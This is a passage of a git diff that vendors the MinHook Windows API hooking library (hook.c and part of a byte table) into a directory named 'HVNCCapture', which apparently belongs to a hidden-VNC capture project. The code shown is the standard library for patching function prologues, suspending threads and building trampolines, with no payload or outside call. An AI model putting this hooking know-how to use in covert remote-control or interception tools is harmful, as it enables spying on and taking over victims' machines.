+ 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
+ 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
+ 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
+ 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
+ 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
+ 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
+ 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
+ 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
+ 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
+ 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
+ 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
+ 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
+ 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
+ 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
+ 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
+ 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
+ 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
+ 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
+ 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
+ 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
+ 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
+ 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
+ 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
+ 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
+ 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
+ 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
+ 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
+ 0x00,0xf0,0x02,0x00
+};
diff --git a/HVNCCapture/Minhook/src/hook.c b/HVNCCapture/Minhook/src/hook.c
new file mode 100644
index 0000000..06f5696
--- /dev/null
+++ b/HVNCCapture/Minhook/src/hook.c
@@ -0,0 +1,939 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include
+#include
+#include
+
+#include "../include/MinHook.h"
+#include "buffer.h"
+#include "trampoline.h"
+
+#ifndef ARRAYSIZE
+ #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
+#endif
+
+// Initial capacity of the HOOK_ENTRY buffer.
+#define INITIAL_HOOK_CAPACITY 32
+
+// Initial capacity of the thread IDs buffer.
+#define INITIAL_THREAD_CAPACITY 128
+
+// Special hook position values.
+#define INVALID_HOOK_POS UINT_MAX
+#define ALL_HOOKS_POS UINT_MAX
+
+// Freeze() action argument defines.
+#define ACTION_DISABLE 0
+#define ACTION_ENABLE 1
+#define ACTION_APPLY_QUEUED 2
+
+// Thread access rights for suspending/resuming threads.
+#define THREAD_ACCESS \
+ (THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT)
+
+// Hook information.
+typedef struct _HOOK_ENTRY
+{
+ LPVOID pTarget; // Address of the target function.
+ LPVOID pDetour; // Address of the detour or relay function.
+ LPVOID pTrampoline; // Address of the trampoline function.
+ UINT8 backup[8]; // Original prologue of the target function.
+
+ UINT8 patchAbove : 1; // Uses the hot patch area.
+ UINT8 isEnabled : 1; // Enabled.
+ UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled.
+
+ UINT nIP : 4; // Count of the instruction boundaries.
+ UINT8 oldIPs[8]; // Instruction boundaries of the target function.
+ UINT8 newIPs[8]; // Instruction boundaries of the trampoline function.
+} HOOK_ENTRY, *PHOOK_ENTRY;
+
+// Suspended threads for Freeze()/Unfreeze().
+typedef struct _FROZEN_THREADS
+{
+ LPDWORD pItems; // Data heap
+ UINT capacity; // Size of allocated data heap, items
+ UINT size; // Actual number of data items
+} FROZEN_THREADS, *PFROZEN_THREADS;
+
+//-------------------------------------------------------------------------
+// Global Variables:
+//-------------------------------------------------------------------------
+
+// Spin lock flag for EnterSpinLock()/LeaveSpinLock().
+static volatile LONG g_isLocked = FALSE;
+
+// Private heap handle. If not NULL, this library is initialized.
+static HANDLE g_hHeap = NULL;
+
+// Hook entries.
+static struct
+{
+ PHOOK_ENTRY pItems; // Data heap
+ UINT capacity; // Size of allocated data heap, items
+ UINT size; // Actual number of data items
+} g_hooks;
+
+//-------------------------------------------------------------------------
+// Returns INVALID_HOOK_POS if not found.
+static UINT FindHookEntry(LPVOID pTarget)
+{
+ UINT i;
+ for (i = 0; i < g_hooks.size; ++i)
+ {
+ if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget)
+ return i;
+ }
+
+ return INVALID_HOOK_POS;
+}
+
+//-------------------------------------------------------------------------
+static PHOOK_ENTRY AddHookEntry()
+{
+ if (g_hooks.pItems == NULL)
+ {
+ g_hooks.capacity = INITIAL_HOOK_CAPACITY;
+ g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc(
+ g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY));
+ if (g_hooks.pItems == NULL)
+ return NULL;
+ }
+ else if (g_hooks.size >= g_hooks.capacity)
+ {
+ PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
+ g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY));
+ if (p == NULL)
+ return NULL;
+
+ g_hooks.capacity *= 2;
+ g_hooks.pItems = p;
+ }
+
+ return &g_hooks.pItems[g_hooks.size++];
+}
+
+//-------------------------------------------------------------------------
+static VOID DeleteHookEntry(UINT pos)
+{
+ if (pos < g_hooks.size - 1)
+ g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1];
+
+ g_hooks.size--;
+
+ if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size)
+ {
+ PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
+ g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY));
+ if (p == NULL)
+ return;
+
+ g_hooks.capacity /= 2;
+ g_hooks.pItems = p;
+ }
+}
+
+//-------------------------------------------------------------------------
+static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
+{
+ UINT i;
+
+ if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL)))
+ return (DWORD_PTR)pHook->pTarget;
+
+ for (i = 0; i < pHook->nIP; ++i)
+ {
+ if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]))
+ return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i];
+ }
+
+#if defined(_M_X64) || defined(__x86_64__)
+ // Check relay function.
+ if (ip == (DWORD_PTR)pHook->pDetour)
+ return (DWORD_PTR)pHook->pTarget;
+#endif
+
+ return 0;
+}
+
+//-------------------------------------------------------------------------
+static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
+{
+ UINT i;
+ for (i = 0; i < pHook->nIP; ++i)
+ {
+ if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]))
+ return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i];
+ }
+
+ return 0;
+}
+
+//-------------------------------------------------------------------------
+static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action)
+{
+ // If the thread suspended in the overwritten area,
+ // move IP to the proper address.
+
+ CONTEXT c;
+#if defined(_M_X64) || defined(__x86_64__)
+ DWORD64 *pIP = &c.Rip;
+#else
+ DWORD *pIP = &c.Eip;
+#endif
+ UINT count;
+
+ c.ContextFlags = CONTEXT_CONTROL;
+ if (!GetThreadContext(hThread, &c))
+ return;
+
+ if (pos == ALL_HOOKS_POS)
+ {
+ pos = 0;
+ count = g_hooks.size;
+ }
+ else
+ {
+ count = pos + 1;
+ }
+
+ for (; pos < count; ++pos)
+ {
+ PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
+ BOOL enable;
+ DWORD_PTR ip;
+
+ switch (action)
+ {
+ case ACTION_DISABLE:
+ enable = FALSE;
+ break;
+
+ case ACTION_ENABLE:
+ enable = TRUE;
+ break;
+
+ default: // ACTION_APPLY_QUEUED
+ enable = pHook->queueEnable;
+ break;
+ }
+ if (pHook->isEnabled == enable)
+ continue;
+
+ if (enable)
+ ip = FindNewIP(pHook, *pIP);
+ else
+ ip = FindOldIP(pHook, *pIP);
+
+ if (ip != 0)
+ {
+ *pIP = ip;
+ SetThreadContext(hThread, &c);
+ }
+ }
+}
+
+//-------------------------------------------------------------------------
+static BOOL EnumerateThreads(PFROZEN_THREADS pThreads)
+{
+ BOOL succeeded = FALSE;
+
+ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
+ if (hSnapshot != INVALID_HANDLE_VALUE)
+ {
+ THREADENTRY32 te;
+ te.dwSize = sizeof(THREADENTRY32);
+ if (Thread32First(hSnapshot, &te))
+ {
+ succeeded = TRUE;
+ do
+ {
+ if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD))
+ && te.th32OwnerProcessID == GetCurrentProcessId()
+ && te.th32ThreadID != GetCurrentThreadId())
+ {
+ if (pThreads->pItems == NULL)
+ {
+ pThreads->capacity = INITIAL_THREAD_CAPACITY;
+ pThreads->pItems
+ = (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD));
+ if (pThreads->pItems == NULL)
+ {
+ succeeded = FALSE;
+ break;
+ }
+ }
+ else if (pThreads->size >= pThreads->capacity)
+ {
+ LPDWORD p;
+ pThreads->capacity *= 2;
+ p = (LPDWORD)HeapReAlloc(
+ g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD));
+ if (p == NULL)
+ {
+ succeeded = FALSE;
+ break;
+ }
+
+ pThreads->pItems = p;
+ }
+ pThreads->pItems[pThreads->size++] = te.th32ThreadID;
+ }
+
+ te.dwSize = sizeof(THREADENTRY32);
+ } while (Thread32Next(hSnapshot, &te));
+
+ if (succeeded && GetLastError() != ERROR_NO_MORE_FILES)
+ succeeded = FALSE;
+
+ if (!succeeded && pThreads->pItems != NULL)
+ {
+ HeapFree(g_hHeap, 0, pThreads->pItems);
+ pThreads->pItems = NULL;
+ }
+ }
+ CloseHandle(hSnapshot);
+ }
+
+ return succeeded;
+}
+
+//-------------------------------------------------------------------------
+static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action)
+{
+ MH_STATUS status = MH_OK;
+
+ pThreads->pItems = NULL;
+ pThreads->capacity = 0;
+ pThreads->size = 0;
+ if (!EnumerateThreads(pThreads))
+ {
+ status = MH_ERROR_MEMORY_ALLOC;
+ }
+ else if (pThreads->pItems != NULL)
+ {
+ UINT i;
+ for (i = 0; i < pThreads->size; ++i)
+ {
+ HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
+ BOOL suspended = FALSE;
+ if (hThread != NULL)
+ {
+ DWORD result = SuspendThread(hThread);
+ if (result != 0xFFFFFFFF)
+ {
+ suspended = TRUE;
+ ProcessThreadIPs(hThread, pos, action);
+ }
+ CloseHandle(hThread);
+ }
+
+ if (!suspended)
+ {
+ // Mark thread as not suspended, so it's not resumed later on.
+ pThreads->pItems[i] = 0;
+ }
+ }
+ }
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+static VOID Unfreeze(PFROZEN_THREADS pThreads)
+{
+ if (pThreads->pItems != NULL)
+ {
+ UINT i;
+ for (i = 0; i < pThreads->size; ++i)
+ {
+ DWORD threadId = pThreads->pItems[i];
+ if (threadId != 0)
+ {
+ HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId);
+ if (hThread != NULL)
+ {
+ ResumeThread(hThread);
+ CloseHandle(hThread);
+ }
+ }
+ }
+
+ HeapFree(g_hHeap, 0, pThreads->pItems);
+ }
+}
+
+//-------------------------------------------------------------------------
+static MH_STATUS EnableHookLL(UINT pos, BOOL enable)
+{
+ PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
+ DWORD oldProtect;
+ SIZE_T patchSize = sizeof(JMP_REL);
+ LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget;
+
+ if (pHook->patchAbove)
+ {
+ pPatchTarget -= sizeof(JMP_REL);
+ patchSize += sizeof(JMP_REL_SHORT);
+ }
+
+ if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect))
+ return MH_ERROR_MEMORY_PROTECT;
+
+ if (enable)
+ {
+ PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
+ pJmp->opcode = 0xE9;
+ pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
+
+ if (pHook->patchAbove)
+ {
+ PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget;
+ pShortJmp->opcode = 0xEB;
+ pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL)));
+ }
+ }
+ else
+ {
+ if (pHook->patchAbove)
+ memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
+ else
+ memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL));
+ }
+
+ VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect);
+
+ // Just-in-case measure.
+ FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize);
+
+ pHook->isEnabled = enable;
+ pHook->queueEnable = enable;
+
+ return MH_OK;
+}
+
+//-------------------------------------------------------------------------
+static MH_STATUS EnableAllHooksLL(BOOL enable)
+{
+ MH_STATUS status = MH_OK;
+ UINT i, first = INVALID_HOOK_POS;
+
+ for (i = 0; i < g_hooks.size; ++i)
+ {
+ if (g_hooks.pItems[i].isEnabled != enable)
+ {
+ first = i;
+ break;
+ }
+ }
+
+ if (first != INVALID_HOOK_POS)
+ {
+ FROZEN_THREADS threads;
+ status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE);
+ if (status == MH_OK)
+ {
+ for (i = first; i < g_hooks.size; ++i)
+ {
+ if (g_hooks.pItems[i].isEnabled != enable)
+ {
+ status = EnableHookLL(i, enable);
+ if (status != MH_OK)
+ break;
+ }
+ }
+
+ Unfreeze(&threads);
+ }
+ }
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+static VOID EnterSpinLock(VOID)
+{
+ SIZE_T spinCount = 0;
+
+ // Wait until the flag is FALSE.
+ while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE)
+ {
+ // No need to generate a memory barrier here, since InterlockedCompareExchange()
+ // generates a full memory barrier itself.
+
+ // Prevent the loop from being too busy.
+ if (spinCount < 32)
+ Sleep(0);
+ else
+ Sleep(1);
+
+ spinCount++;
+ }
+}
+
+//-------------------------------------------------------------------------
+static VOID LeaveSpinLock(VOID)
+{
+ // No need to generate a memory barrier here, since InterlockedExchange()
+ // generates a full memory barrier itself.
+
+ InterlockedExchange(&g_isLocked, FALSE);
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_Initialize(VOID)
+{
+ MH_STATUS status = MH_OK;
+
+ EnterSpinLock();
+
+ if (g_hHeap == NULL)
+ {
+ g_hHeap = HeapCreate(0, 0, 0);
+ if (g_hHeap != NULL)
+ {
+ // Initialize the internal function buffer.
+ InitializeBuffer();
+ }
+ else
+ {
+ status = MH_ERROR_MEMORY_ALLOC;
+ }
+ }
+ else
+ {
+ status = MH_ERROR_ALREADY_INITIALIZED;
+ }
+
+ LeaveSpinLock();
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_Uninitialize(VOID)
+{
+ MH_STATUS status = MH_OK;
+
+ EnterSpinLock();
+
+ if (g_hHeap != NULL)
+ {
+ status = EnableAllHooksLL(FALSE);
+ if (status == MH_OK)
+ {
+ // Free the internal function buffer.
+
+ // HeapFree is actually not required, but some tools detect a false
+ // memory leak without HeapFree.
+
+ UninitializeBuffer();
+
+ HeapFree(g_hHeap, 0, g_hooks.pItems);
+ HeapDestroy(g_hHeap);
+
+ g_hHeap = NULL;
+
+ g_hooks.pItems = NULL;
+ g_hooks.capacity = 0;
+ g_hooks.size = 0;
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_INITIALIZED;
+ }
+
+ LeaveSpinLock();
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal)
+{
+ MH_STATUS status = MH_OK;
+
+ EnterSpinLock();
+
+ if (g_hHeap != NULL)
+ {
+ if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour))
+ {
+ UINT pos = FindHookEntry(pTarget);
+ if (pos == INVALID_HOOK_POS)
+ {
+ LPVOID pBuffer = AllocateBuffer(pTarget);
+ if (pBuffer != NULL)
+ {
+ TRAMPOLINE ct;
+
+ ct.pTarget = pTarget;
+ ct.pDetour = pDetour;
+ ct.pTrampoline = pBuffer;
+ if (CreateTrampolineFunction(&ct))
+ {
+ PHOOK_ENTRY pHook = AddHookEntry();
+ if (pHook != NULL)
+ {
+ pHook->pTarget = ct.pTarget;
+#if defined(_M_X64) || defined(__x86_64__)
+ pHook->pDetour = ct.pRelay;
+#else
+ pHook->pDetour = ct.pDetour;
+#endif
+ pHook->pTrampoline = ct.pTrampoline;
+ pHook->patchAbove = ct.patchAbove;
+ pHook->isEnabled = FALSE;
+ pHook->queueEnable = FALSE;
+ pHook->nIP = ct.nIP;
+ memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs));
+ memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs));
+
+ // Back up the target function.
+
+ if (ct.patchAbove)
+ {
+ memcpy(
+ pHook->backup,
+ (LPBYTE)pTarget - sizeof(JMP_REL),
+ sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
+ }
+ else
+ {
+ memcpy(pHook->backup, pTarget, sizeof(JMP_REL));
+ }
+
+ if (ppOriginal != NULL)
+ *ppOriginal = pHook->pTrampoline;
+ }
+ else
+ {
+ status = MH_ERROR_MEMORY_ALLOC;
+ }
+ }
+ else
+ {
+ status = MH_ERROR_UNSUPPORTED_FUNCTION;
+ }
+
+ if (status != MH_OK)
+ {
+ FreeBuffer(pBuffer);
+ }
+ }
+ else
+ {
+ status = MH_ERROR_MEMORY_ALLOC;
+ }
+ }
+ else
+ {
+ status = MH_ERROR_ALREADY_CREATED;
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_EXECUTABLE;
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_INITIALIZED;
+ }
+
+ LeaveSpinLock();
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget)
+{
+ MH_STATUS status = MH_OK;
+
+ EnterSpinLock();
+
+ if (g_hHeap != NULL)
+ {
+ UINT pos = FindHookEntry(pTarget);
+ if (pos != INVALID_HOOK_POS)
+ {
+ if (g_hooks.pItems[pos].isEnabled)
+ {
+ FROZEN_THREADS threads;
+ status = Freeze(&threads, pos, ACTION_DISABLE);
+ if (status == MH_OK)
+ {
+ status = EnableHookLL(pos, FALSE);
+
+ Unfreeze(&threads);
+ }
+ }
+
+ if (status == MH_OK)
+ {
+ FreeBuffer(g_hooks.pItems[pos].pTrampoline);
+ DeleteHookEntry(pos);
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_CREATED;
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_INITIALIZED;
+ }
+
+ LeaveSpinLock();
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable)
+{
+ MH_STATUS status = MH_OK;
+
+ EnterSpinLock();
+
+ if (g_hHeap != NULL)
+ {
+ if (pTarget == MH_ALL_HOOKS)
+ {
+ status = EnableAllHooksLL(enable);
+ }
+ else
+ {
+ UINT pos = FindHookEntry(pTarget);
+ if (pos != INVALID_HOOK_POS)
+ {
+ if (g_hooks.pItems[pos].isEnabled != enable)
+ {
+ FROZEN_THREADS threads;
+ status = Freeze(&threads, pos, ACTION_ENABLE);
+ if (status == MH_OK)
+ {
+ status = EnableHookLL(pos, enable);
+
+ Unfreeze(&threads);
+ }
+ }
+ else
+ {
+ status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED;
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_CREATED;
+ }
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_INITIALIZED;
+ }
+
+ LeaveSpinLock();
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget)
+{
+ return EnableHook(pTarget, TRUE);
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget)
+{
+ return EnableHook(pTarget, FALSE);
+}
+
+//-------------------------------------------------------------------------
+static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable)
+{
+ MH_STATUS status = MH_OK;
+
+ EnterSpinLock();
+
+ if (g_hHeap != NULL)
+ {
+ if (pTarget == MH_ALL_HOOKS)
+ {
+ UINT i;
+ for (i = 0; i < g_hooks.size; ++i)
+ g_hooks.pItems[i].queueEnable = queueEnable;
+ }
+ else
+ {
+ UINT pos = FindHookEntry(pTarget);
+ if (pos != INVALID_HOOK_POS)
+ {
+ g_hooks.pItems[pos].queueEnable = queueEnable;
+ }
+ else
+ {
+ status = MH_ERROR_NOT_CREATED;
+ }
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_INITIALIZED;
+ }
+
+ LeaveSpinLock();
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget)
+{
+ return QueueHook(pTarget, TRUE);
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget)
+{
+ return QueueHook(pTarget, FALSE);
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_ApplyQueued(VOID)
+{
+ MH_STATUS status = MH_OK;
+ UINT i, first = INVALID_HOOK_POS;
+
+ EnterSpinLock();
+
+ if (g_hHeap != NULL)
+ {
+ for (i = 0; i < g_hooks.size; ++i)
+ {
+ if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable)
+ {
+ first = i;
+ break;
+ }
+ }
+
+ if (first != INVALID_HOOK_POS)
+ {
+ FROZEN_THREADS threads;
+ status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED);
+ if (status == MH_OK)
+ {
+ for (i = first; i < g_hooks.size; ++i)
+ {
+ PHOOK_ENTRY pHook = &g_hooks.pItems[i];
+ if (pHook->isEnabled != pHook->queueEnable)
+ {
+ status = EnableHookLL(i, pHook->queueEnable);
+ if (status != MH_OK)
+ break;
+ }
+ }
+
+ Unfreeze(&threads);
+ }
+ }
+ }
+ else
+ {
+ status = MH_ERROR_NOT_INITIALIZED;
+ }
+
+ LeaveSpinLock();
+
+ return status;
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_CreateHookApiEx(
+ LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour,
+ LPVOID *ppOriginal, LPVOID *ppTarget)
+{
+ HMODULE hModule;
+ LPVOID pTarget;
+
+ hModule = GetModuleHandleW(pszModule);
+ if (hModule == NULL)
+ return MH_ERROR_MODULE_NOT_FOUND;
+
+ pTarget = (LPVOID)GetProcAddress(hModule, pszProcName);
+ if (pTarget == NULL)
+ return MH_ERROR_FUNCTION_NOT_FOUND;
+
+ if (ppTarget != NULL)
+ *ppTarget = pTarget;
+
+ return MH_CreateHook(pTarget, pDetour, ppOriginal);
+}
+
+//-------------------------------------------------------------------------
+MH_STATUS WINAPI MH_CreateHookApi(
+ LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal)
+{
+ return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL);
+}
+
+//-------------------------------------------------------------------------
+const char *WINAPI MH_StatusToString(MH_STATUS status)
+{
+#define MH_ST2STR(x) \
+ case x: \
+ return #x;
+
+ switch (status) {
+ MH_ST2STR(MH_UNKNOWN)
+ MH_ST2STR(MH_OK)
+ MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED)
+ MH_ST2STR(MH_ERROR_NOT_INITIALIZED)
+ MH_ST2STR(MH_ERROR_ALREADY_CREATED)
+ MH_ST2STR(MH_ERROR_NOT_CREATED)
+ MH_ST2STR(MH_ERROR_ENABLED)
+ MH_ST2STR(MH_ERROR_DISABLED)
+ MH_ST2STR(MH_ERROR_NOT_EXECUTABLE)
+ MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION)
+ MH_ST2STR(MH_ERROR_MEMORY_ALLOC)
+ MH_ST2STR(MH_ERROR_MEMORY_PROTECT)
+ MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND)
+ MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND)
+ }
+
+#undef MH_ST2STR
+
+ return "(unknown)";
+}
diff --git a/HVNCCapture/Minhook/src/trampoline.c b/HVNCCapture/Minhook/src/trampoline.c
new file mode 100644
index 0000000..cf8ce05
--- /dev/null
+++ b/HVNCCapture/Minhook/src/trampoline.c
@@ -0,0 +1,320 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
